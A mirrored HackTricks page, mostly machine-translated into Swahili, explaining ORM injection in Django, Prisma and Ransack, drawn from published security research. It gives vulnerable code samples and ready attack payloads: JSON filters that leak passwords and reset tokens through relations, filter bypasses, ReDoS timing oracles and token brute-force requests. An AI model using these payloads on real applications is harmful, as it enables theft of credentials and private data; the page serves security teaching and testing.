mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
335 lines
11 KiB
Markdown
335 lines
11 KiB
Markdown
# ORM Injection
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Django ORM (Python)
|
|
|
|
Katika [**post hii**](https://www.elttam.com/blog/plormbing-your-django-orm/) inaelezwa jinsi inavyowezekana kufanya Django ORM iwe hatarini kwa kutumia kwa mfano msimbo kama:
|
|
|
|
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
|
|
"""
|
|
Muonekano wa API wa msingi ambao watumiaji hupeleka maombi kwa ajili ya
|
|
kutafuta makala
|
|
"""
|
|
def post(self, request: Request, format=None):
|
|
try:
|
|
<strong> articles = Article.objects.filter(**request.data)
|
|
</strong> serializer = ArticleSerializer(articles, many=True)
|
|
except Exception as e:
|
|
return Response([])
|
|
return Response(serializer.data)
|
|
</code></pre>
|
|
|
|
Angalia jinsi request.data yote (ambayo itakuwa json) inapitishwa moja kwa moja kwa **filter objects from the database**. Mshambuliaji anaweza kutuma filters zisizotarajiwa ili kuweza kupata data zaidi ya ile iliyotarajiwa kutoka kwake.
|
|
|
|
Mifano:
|
|
|
|
* **Login:** Katika kujaribu kuingia rahisi jaribu kuvuja nywila za watumiaji waliojiandikisha ndani yake.
|
|
```json
|
|
{
|
|
"username": "admin",
|
|
"password_startswith":"a"
|
|
}
|
|
```
|
|
{% hint style="danger" %}
|
|
Inawezekana kulazimisha nenosiri hadi litapotea.
|
|
{% endhint %}
|
|
|
|
* **Filtering ya uhusiano**: Inawezekana kupita katika uhusiano ili kupoteza taarifa kutoka kwa safu ambazo hata hazikutarajiwa kutumika katika operesheni. Kwa mfano, ikiwa inawezekana kupoteza makala zilizoundwa na mtumiaji mwenye uhusiano hizi: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
|
|
```json
|
|
{
|
|
"created_by__user__password__contains":"pass"
|
|
}
|
|
```
|
|
{% hint style="danger" %}
|
|
Inawezekana kupata nywila za watumiaji wote ambao wameunda makala
|
|
{% endhint %}
|
|
|
|
* **Uchujaji wa uhusiano wa wengi kwa wengi**: Katika mfano uliopita hatungeweza kupata nywila za watumiaji ambao hawajaandika makala. Hata hivyo, kufuatia uhusiano mwingine hii inawezekana. Kwa mfano: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
|
|
```json
|
|
{
|
|
"created_by__departments__employees__user_startswith":"admi"
|
|
}
|
|
```
|
|
{% hint style="danger" %}
|
|
Katika kesi hii tunaweza kupata watumiaji wote katika idara za watumiaji ambao wameunda makala na kisha kuvuja nywila zao (katika json ya awali tunavuja tu majina ya watumiaji lakini kisha inawezekana kuvuja nywila).
|
|
{% endhint %}
|
|
|
|
* **Kutitisha Django Group na Permission many-to-many relations na watumiaji**: Aidha, mfano wa AbstractUser unatumika kuunda watumiaji katika Django na kwa kawaida mfano huu una **uhusiano wa many-to-many na Permission na Group tables**. Ambayo kimsingi ni njia ya kawaida ya **kufikia watumiaji wengine kutoka kwa mtumiaji mmoja** ikiwa wako katika **kikundi sawa au wanashiriki ruhusa sawa**.
|
|
```bash
|
|
# By users in the same group
|
|
created_by__user__groups__user__password
|
|
|
|
# By users with the same permission
|
|
created_by__user__user_permissions__user__password
|
|
```
|
|
* **Kupita vizuizi vya filtr**: Blogu hiyo hiyo ilipendekeza kupita matumizi ya filtr fulani kama `articles = Article.objects.filter(is_secret=False, **request.data)`. Inawezekana kutoa makala ambazo zina is\_secret=True kwa sababu tunaweza kurudi nyuma kutoka kwa uhusiano hadi kwenye jedwali la Article na kuvuja makala za siri kutoka kwa makala zisizo za siri kwa sababu matokeo yanajumuishwa na uwanja wa is\_secret unakaguliwa katika makala zisizo za siri wakati data inavuja kutoka kwa makala za siri.
|
|
```bash
|
|
Article.objects.filter(is_secret=False, categories__articles__id=2)
|
|
```
|
|
{% hint style="danger" %}
|
|
Kukandamiza uhusiano kunawezesha kupita hata vichujio vilivyokusudiwa kulinda data inayonyeshwa.
|
|
{% endhint %}
|
|
|
|
* **Error/Time based via ReDoS**: Katika mifano ya awali ilitarajiwa kuwa na majibu tofauti ikiwa uchujaji ulifanya kazi au la ili kutumia hiyo kama oracle. Lakini inaweza kuwa inawezekana kwamba hatua fulani inachukuliwa katika database na jibu kila wakati ni sawa. Katika hali hii inaweza kuwa inawezekana kufanya makosa ya database kupata oracle mpya.
|
|
```json
|
|
// Non matching password
|
|
{
|
|
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
|
|
}
|
|
|
|
// ReDoS matching password (will show some error in the response or check the time)
|
|
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
|
|
```
|
|
From te same post regarding this vector:
|
|
|
|
* **SQLite**: Haina operator ya regexp kwa default (inahitaji kupakia nyongeza ya upande wa tatu)
|
|
* **PostgreSQL**: Haina muda wa timeout wa regex wa default na ni rahisi kidogo kwa backtracking
|
|
* **MariaDB**: Haina muda wa timeout wa regex
|
|
|
|
## Prisma ORM (NodeJS)
|
|
|
|
The following are [**tricks extracted from this post**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
|
|
|
|
* **Full find control**:
|
|
|
|
<pre class="language-javascript"><code class="lang-javascript">const app = express();
|
|
|
|
app.use(express.json());
|
|
|
|
app.post('/articles/verybad', async (req, res) => {
|
|
try {
|
|
// Attacker has full control of all prisma options
|
|
<strong> const posts = await prisma.article.findMany(req.body.filter)
|
|
</strong> res.json(posts);
|
|
} catch (error) {
|
|
res.json([]);
|
|
}
|
|
});
|
|
</code></pre>
|
|
|
|
It's possible to see that the whole javascript body is passed to prisma to perform queries.
|
|
|
|
In the example from the original post, this would check all the posts createdBy someone (each post is created by someone) returning also the user info of that someone (username, password...)
|
|
```json
|
|
{
|
|
"filter": {
|
|
"include": {
|
|
"createdBy": true
|
|
}
|
|
}
|
|
}
|
|
|
|
// Response
|
|
[
|
|
{
|
|
"id": 1,
|
|
"title": "Buy Our Essential Oils",
|
|
"body": "They are very healthy to drink",
|
|
"published": true,
|
|
"createdById": 1,
|
|
"createdBy": {
|
|
"email": "karen@example.com",
|
|
"id": 1,
|
|
"isAdmin": false,
|
|
"name": "karen",
|
|
"password": "super secret passphrase",
|
|
"resetToken": "2eed5e80da4b7491"
|
|
}
|
|
},
|
|
...
|
|
]
|
|
```
|
|
Ifuatayo inachagua machapisho yote yaliyoundwa na mtu mwenye nenosiri na itarudisha nenosiri:
|
|
```json
|
|
{
|
|
"filter": {
|
|
"select": {
|
|
"createdBy": {
|
|
"select": {
|
|
"password": true
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// Response
|
|
[
|
|
{
|
|
"createdBy": {
|
|
"password": "super secret passphrase"
|
|
}
|
|
},
|
|
...
|
|
]
|
|
```
|
|
* **Udhibiti kamili wa kipengele cha where**:
|
|
|
|
Tuchunguze hii ambapo shambulio linaweza kudhibiti kipengele cha `where`:
|
|
|
|
<pre class="language-javascript"><code class="lang-javascript">app.get('/articles', async (req, res) => {
|
|
try {
|
|
const posts = await prisma.article.findMany({
|
|
<strong> where: req.query.filter as any // Inahatarisha kwa ORM Leaks
|
|
</strong> })
|
|
res.json(posts);
|
|
} catch (error) {
|
|
res.json([]);
|
|
}
|
|
});
|
|
</code></pre>
|
|
|
|
Inawezekana kuchuja nywila za watumiaji moja kwa moja kama:
|
|
```javascript
|
|
await prisma.article.findMany({
|
|
where: {
|
|
createdBy: {
|
|
password: {
|
|
startsWith: "pas"
|
|
}
|
|
}
|
|
}
|
|
})
|
|
```
|
|
{% hint style="danger" %}
|
|
Kwa kutumia operesheni kama `startsWith` inawezekana kuvuja taarifa. 
|
|
{% endhint %}
|
|
|
|
* **Kupita mchakato wa kuchuja wa uhusiano wa wengi kwa wengi:** 
|
|
```javascript
|
|
app.post('/articles', async (req, res) => {
|
|
try {
|
|
const query = req.body.query;
|
|
query.published = true;
|
|
const posts = await prisma.article.findMany({ where: query })
|
|
res.json(posts);
|
|
} catch (error) {
|
|
res.json([]);
|
|
}
|
|
});
|
|
```
|
|
Ni inawezekana kuvuja makala ambazo hazijachapishwa kwa kurudi nyuma kwenye uhusiano wa wengi-kwa-wengi kati ya `Category` -\[\*..\*]-> `Article`:
|
|
```json
|
|
{
|
|
"query": {
|
|
"categories": {
|
|
"some": {
|
|
"articles": {
|
|
"some": {
|
|
"published": false,
|
|
"{articleFieldToLeak}": {
|
|
"startsWith": "{testStartsWith}"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|
|
Ni pia inawezekana kuvuja watumiaji wote kwa kutumia baadhi ya uhusiano wa mzunguko wa wengi kwa wengi:
|
|
```json
|
|
{
|
|
"query": {
|
|
"createdBy": {
|
|
"departments": {
|
|
"some": {
|
|
"employees": {
|
|
"some": {
|
|
"departments": {
|
|
"some": {
|
|
"employees": {
|
|
"some": {
|
|
"departments": {
|
|
"some": {
|
|
"employees": {
|
|
"some": {
|
|
"{fieldToLeak}": {
|
|
"startsWith": "{testStartsWith}"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|
|
* **Error/Timed queries**: Katika chapisho la asili unaweza kusoma seti kubwa ya majaribio yaliyofanywa ili kupata mzigo bora wa kuvuja habari kwa kutumia mzigo wa muda. Hii ni:
|
|
```json
|
|
{
|
|
"OR": [
|
|
{
|
|
"NOT": {ORM_LEAK}
|
|
},
|
|
{CONTAINS_LIST}
|
|
]
|
|
}
|
|
```
|
|
Where the `{CONTAINS_LIST}` is a list with 1000 strings to make sure the **jibu linacheleweshwa wakati uvujaji sahihi unapatikana.**
|
|
|
|
## **Ransack (Ruby)**
|
|
|
|
These tricks where [**found in this post**](https://positive.security/blog/ransack-data-exfiltration)**.**
|
|
|
|
{% hint style="success" %}
|
|
**Kumbuka kwamba Ransack 4.0.0.0 sasa inatekeleza matumizi ya orodha ya ruhusa wazi kwa sifa na ushirikiano unaoweza kutafutwa.**
|
|
{% endhint %}
|
|
|
|
**Mfano unaoweza kuathiriwa:**
|
|
```ruby
|
|
def index
|
|
@q = Post.ransack(params[:q])
|
|
@posts = @q.result(distinct: true)
|
|
end
|
|
```
|
|
Kumbuka jinsi uchunguzi utavyofafanuliwa na vigezo vilivyotumwa na mshambuliaji. Ilikuwa inawezekana kwa mfano kulazimisha nguvu token ya kurekebisha kwa:
|
|
```http
|
|
GET /posts?q[user_reset_password_token_start]=0
|
|
GET /posts?q[user_reset_password_token_start]=1
|
|
...
|
|
```
|
|
Kwa kutumia brute-forcing na uhusiano wa uwezekano, ilikuwa inawezekana kuvuja data zaidi kutoka kwa hifadhidata.
|
|
|
|
## Marejeo
|
|
|
|
* [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
|
|
* [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
|
|
* [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|